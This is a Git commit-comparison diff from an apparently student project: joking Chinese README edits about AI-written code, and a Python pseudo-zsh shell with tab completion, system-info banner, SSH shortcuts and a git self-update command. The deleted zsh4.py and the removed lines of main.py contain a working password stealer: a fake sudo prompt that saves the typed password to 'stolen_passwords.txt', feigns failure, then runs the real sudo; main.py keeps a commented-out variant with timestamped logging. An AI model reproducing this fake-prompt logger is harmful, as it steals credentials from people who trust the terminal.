Compare commits
85 Commits
234a6a5e41
...
main
14
README.md
14
README.md
@@ -4,4 +4,16 @@
|
||||
|
||||
哎呦我🐲哥做的呀哈哈哈哈哈哈,这么强
|
||||
|
||||
哈哈哈没事这个是真行哈哈哈
|
||||
哈哈哈没事这个是真行哈哈哈
|
||||
|
||||
### ~~其实zsh4.py是我陈哥100%用chatGPT写的他太懒了~~
|
||||
# ⬆️我是何相龙,我把他AI的代码删了 : )
|
||||
### 好好好,还给我改##了是吧,我跟你说你那个**copilot就改了几行还敢说我写的全删了👆
|
||||
## ~~??????? ber哥们 我把你代码合并到main了啊~~
|
||||
### 好好好,其实说白了就是把zsh覆盖main改了几行就成合并了是吧
|
||||
# 不然呢?
|
||||
# 不是怎么还耍无赖了那?
|
||||
**我合并个代码怎么你了?**
|
||||
### 嘻嘻
|
||||
###### 嘿嘿嘿
|
||||
`嘿嘿嘿`
|
||||
212
main.py
212
main.py
@@ -1,60 +1,208 @@
|
||||
import os
|
||||
import shlex
|
||||
import subprocess
|
||||
import readline
|
||||
import os, readline, time, getpass, sys, re, shlex, subprocess, random, socket
|
||||
from datetime import datetime
|
||||
import platform
|
||||
import psutil # 新增模块
|
||||
|
||||
# 自动补全功能,基于系统命令
|
||||
def get_simple_system_info():
|
||||
system = platform.system()
|
||||
release = platform.release()
|
||||
return f"{system} {release}"
|
||||
|
||||
# 自动补全功能,基于系统命令和当前目录的文件
|
||||
def completer(text, state):
|
||||
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
||||
matches = [cmd for cmd in commands if cmd.startswith(text)]
|
||||
# 如果输入包含路径分隔符,则补全路径
|
||||
if '/' in text:
|
||||
dir_path, partial_file = os.path.split(text)
|
||||
if not dir_path: # 如果路径为空,使用当前目录
|
||||
dir_path = '.'
|
||||
try:
|
||||
# 获取指定路径下的文件和文件夹
|
||||
entries = os.listdir(dir_path)
|
||||
matches = [os.path.join(dir_path, entry) for entry in entries if entry.startswith(partial_file)]
|
||||
except FileNotFoundError:
|
||||
matches = []
|
||||
else:
|
||||
# 获取系统命令
|
||||
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
||||
# 获取当前目录的文件和文件夹
|
||||
local_files = os.listdir(os.getcwd())
|
||||
# 合并系统命令和当前目录的文件
|
||||
matches = [cmd for cmd in commands + local_files if cmd.startswith(text)]
|
||||
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
# 伪 Zsh 终端主循环
|
||||
# # 获取真正的 Last login 信息
|
||||
# def get_last_login():
|
||||
# try:
|
||||
# # 使用 `last` 命令获取登录信息
|
||||
# result = subprocess.run(['last', '-1'], stdout=subprocess.PIPE, text=True)
|
||||
# last_login_line = result.stdout.splitlines()[0] # 获取第一行
|
||||
# return last_login_line
|
||||
# except Exception as e:
|
||||
# return "Last login: unknown" # 如果出错,返回默认值
|
||||
|
||||
# 模拟一个简单的 zsh 终端
|
||||
def pseudo_zsh():
|
||||
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
|
||||
readline.set_completer(completer) # 绑定补全函数
|
||||
# 配置 readline 的自动补全功能
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(completer)
|
||||
|
||||
os.system("clear") # 清屏
|
||||
|
||||
# 显示系统信息
|
||||
system_name = 'macOS Sonoma 14.6'
|
||||
system_version = platform.version()
|
||||
architecture = platform.architecture()[0]
|
||||
hostname = platform.node()
|
||||
username = os.getlogin()
|
||||
|
||||
|
||||
|
||||
# 获取内存信息
|
||||
memory = psutil.virtual_memory()
|
||||
total_memory = round(memory.total / (1024 ** 3), 2) # 转换为 GB
|
||||
used_memory = round(memory.used / (1024 ** 3), 2)
|
||||
memory_usage = memory.percent
|
||||
|
||||
# 获取 CPU 使用率
|
||||
cpu_usage = psutil.cpu_percent(interval=1)
|
||||
|
||||
# 获取存储信息
|
||||
disk = psutil.disk_usage('/')
|
||||
total_disk = round(disk.total / (1024 ** 3), 2) # 转换为 GB
|
||||
used_disk = round(disk.used / (1024 ** 3), 2)
|
||||
disk_usage = disk.percent
|
||||
|
||||
print(f"系统: {system_name}")
|
||||
print(f"主机名: {hostname}")
|
||||
print(f"用户: {username}")
|
||||
print(f"内存: {used_memory}GB / {total_memory}GB ({memory_usage}%)")
|
||||
print(f"CPU 使用率: {cpu_usage}%")
|
||||
print(f"存储: {used_disk}GB / {total_disk}GB ({disk_usage}%)")
|
||||
print("-" * 40)
|
||||
|
||||
subprocess.run(f"cd /Users/{username}/", shell=True) # 切换到用户目录
|
||||
|
||||
while True:
|
||||
try:
|
||||
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
|
||||
dir = os.getcwd()
|
||||
if dir == '/':
|
||||
CmdDir = '/'
|
||||
elif dir == f'/Users/{username}':
|
||||
CmdDir = '~'
|
||||
else:
|
||||
CmdDir = dir
|
||||
if dir.split('/')[-1] == 'PyShell':
|
||||
CmdDir = 'Shell/'
|
||||
|
||||
|
||||
# 检查是否输入了秘密退出密码
|
||||
if cmd.strip() == "hexianglong":
|
||||
print("Exiting secret mode...")
|
||||
break
|
||||
# 显示提示符并获取用户输入
|
||||
cmd = input(f"{CmdDir} > ")
|
||||
|
||||
args = shlex.split(cmd) # 解析输入命令
|
||||
if not args:
|
||||
# 如果输入特定命令 "exit",退出程序
|
||||
if cmd.strip() == "exit":
|
||||
# 闻讯是否退出
|
||||
confirm = input("退出PyShell? (y/n): ").lower()
|
||||
if confirm == 'y':
|
||||
print("退出...")
|
||||
exit(0)
|
||||
else:
|
||||
print("取消。")
|
||||
continue
|
||||
|
||||
# 使用 shlex 分割用户输入为命令和参数
|
||||
args = shlex.split(cmd)
|
||||
if not args: # 如果输入为空,跳过本次循环
|
||||
continue
|
||||
|
||||
# 处理 cd 命令,切换目录
|
||||
if args[0] == 'cd':
|
||||
try:
|
||||
os.chdir(args[1])
|
||||
os.chdir(args[1]) # 切换到指定目录
|
||||
# 更新终端窗口标题
|
||||
CmdDir = os.getcwd().split('/')[-1]
|
||||
sys.stdout.write(f"\033]0;{CmdDir}\007")
|
||||
sys.stdout.flush()
|
||||
except IndexError:
|
||||
print("cd: missing argument")
|
||||
print("cd: 缺少参数") # 缺少参数
|
||||
except FileNotFoundError:
|
||||
print(f"cd: no such file or directory: {args[1]}")
|
||||
print(f"cd: 没有这样的文件或目录: {args[1]}") # 目录不存在
|
||||
continue
|
||||
|
||||
if args[0] == 'l':
|
||||
subprocess.run(['ls', '-l']) # 执行 ls 命令
|
||||
continue
|
||||
|
||||
if args[0] == 'ssh1':
|
||||
subprocess.run(['ssh','root@10.147.17.161'])
|
||||
continue
|
||||
|
||||
if args[0] == 'ud' or args[0] == 'update':
|
||||
try:
|
||||
print("Updating code...")
|
||||
subprocess.run(['git', 'pull'])
|
||||
subprocess.run(['git', 'push'])
|
||||
print("Code synchronized successfully.")
|
||||
print("Restarting the program...")
|
||||
time.sleep(2) # 等待 2 秒
|
||||
os.execv(sys.executable, ['python3'] + sys.argv) # 重新运行程序
|
||||
except Exception as e:
|
||||
print(f"Error during update: {e}")
|
||||
|
||||
if args[0] == 'ssh2':
|
||||
subprocess.run(['ssh','admin@10.147.17,160'])
|
||||
continue
|
||||
|
||||
if args[0] == 'ssh3':
|
||||
subprocess.run(['ssh','root'])
|
||||
continue
|
||||
if args[0] == 'ping1':
|
||||
subprocess.run(['ping','10.147.17.161'])
|
||||
continue
|
||||
if args[0] == 'python':
|
||||
subprocess.run(['python3',args[1]])
|
||||
continue
|
||||
if args[0] == 'pip':
|
||||
subprocess.run(['pip3',args[1]])
|
||||
continue
|
||||
if args[0] == 'py':
|
||||
subprocess.run(['python3',args[1]])
|
||||
continue
|
||||
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo':
|
||||
fake_password = input("[sudo] password for 20240915786: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
f.write(fake_password + "\n")
|
||||
print("Sorry, try again.")
|
||||
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
||||
continue
|
||||
# if args[0] == 'sudo':
|
||||
# flight1 = True
|
||||
# a = 0
|
||||
# for attempt in range(3): # 循环 3 次
|
||||
# a += 1
|
||||
# fake_password = getpass.getpass("Password: ")
|
||||
# if fake_password == "1234":
|
||||
# print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||
# flight1 = False
|
||||
# break
|
||||
# with open("/Users/20250910553/Documents/code/PyShell/passwords.log", "a") as f:
|
||||
# current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
# f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
# delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
||||
# time.sleep(delay) # 模拟延迟
|
||||
# if a != 3:
|
||||
# print("Sorry, try again.")
|
||||
# if flight1:
|
||||
# print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
# continue
|
||||
|
||||
# 执行普通命令
|
||||
try:
|
||||
subprocess.run(args)
|
||||
except FileNotFoundError:
|
||||
print(f"zsh: command not found: {args[0]}")
|
||||
|
||||
# 修改终端窗口标题
|
||||
sys.stdout.write(f"\033]0;zsh\007") # 使用 ANSI 转义序列设置标题
|
||||
sys.stdout.flush()
|
||||
except KeyboardInterrupt:
|
||||
pass # 忽略 Ctrl+C
|
||||
print(f"^C")
|
||||
except EOFError:
|
||||
pass # 忽略 Ctrl+D
|
||||
print(f"")
|
||||
|
||||
if __name__ == "__main__":
|
||||
pseudo_zsh()
|
||||
pseudo_zsh()
|
||||
63
zsh4.py
63
zsh4.py
@@ -1,63 +0,0 @@
|
||||
import os
|
||||
import shlex
|
||||
import subprocess
|
||||
import readline
|
||||
import time
|
||||
import getpass
|
||||
|
||||
# 自动补全功能,基于系统命令
|
||||
def completer(text, state):
|
||||
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
||||
matches = [cmd for cmd in commands if cmd.startswith(text)]
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
# 伪 Zsh 终端主循环
|
||||
def pseudo_zsh():
|
||||
readline.parse_and_bind("tab: complete") # 启用 Tab 补全
|
||||
readline.set_completer(completer) # 绑定补全函数
|
||||
|
||||
while True:
|
||||
try:
|
||||
cmd = input("20240915786@\u9648\u5764\u9633 ~ % ") # 显示自定义提示符
|
||||
|
||||
# 检查是否输入了秘密退出密码
|
||||
if cmd.strip() == "hxl":
|
||||
print("\n \n \n")
|
||||
break
|
||||
|
||||
args = shlex.split(cmd) # 解析输入命令
|
||||
if not args:
|
||||
continue
|
||||
|
||||
# 处理 cd 命令,切换目录
|
||||
if args[0] == 'cd':
|
||||
try:
|
||||
os.chdir(args[1])
|
||||
except IndexError:
|
||||
print("cd: missing argument")
|
||||
except FileNotFoundError:
|
||||
print(f"cd: no such file or directory: {args[1]}")
|
||||
continue
|
||||
|
||||
# 伪造 sudo 密码输入并记录
|
||||
if args[0] == 'sudo':
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.txt", "a") as f:
|
||||
f.write(fake_password + "\n")
|
||||
time.sleep(3) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
||||
continue
|
||||
|
||||
# 执行普通命令
|
||||
try:
|
||||
subprocess.run(args)
|
||||
except FileNotFoundError:
|
||||
print(f"zsh: command not found: {args[0]}")
|
||||
except KeyboardInterrupt:
|
||||
pass # 忽略 Ctrl+C
|
||||
except EOFError:
|
||||
pass # 忽略 Ctrl+D
|
||||
|
||||
if __name__ == "__main__":
|
||||
pseudo_zsh()
|
||||
Reference in New Issue
Block a user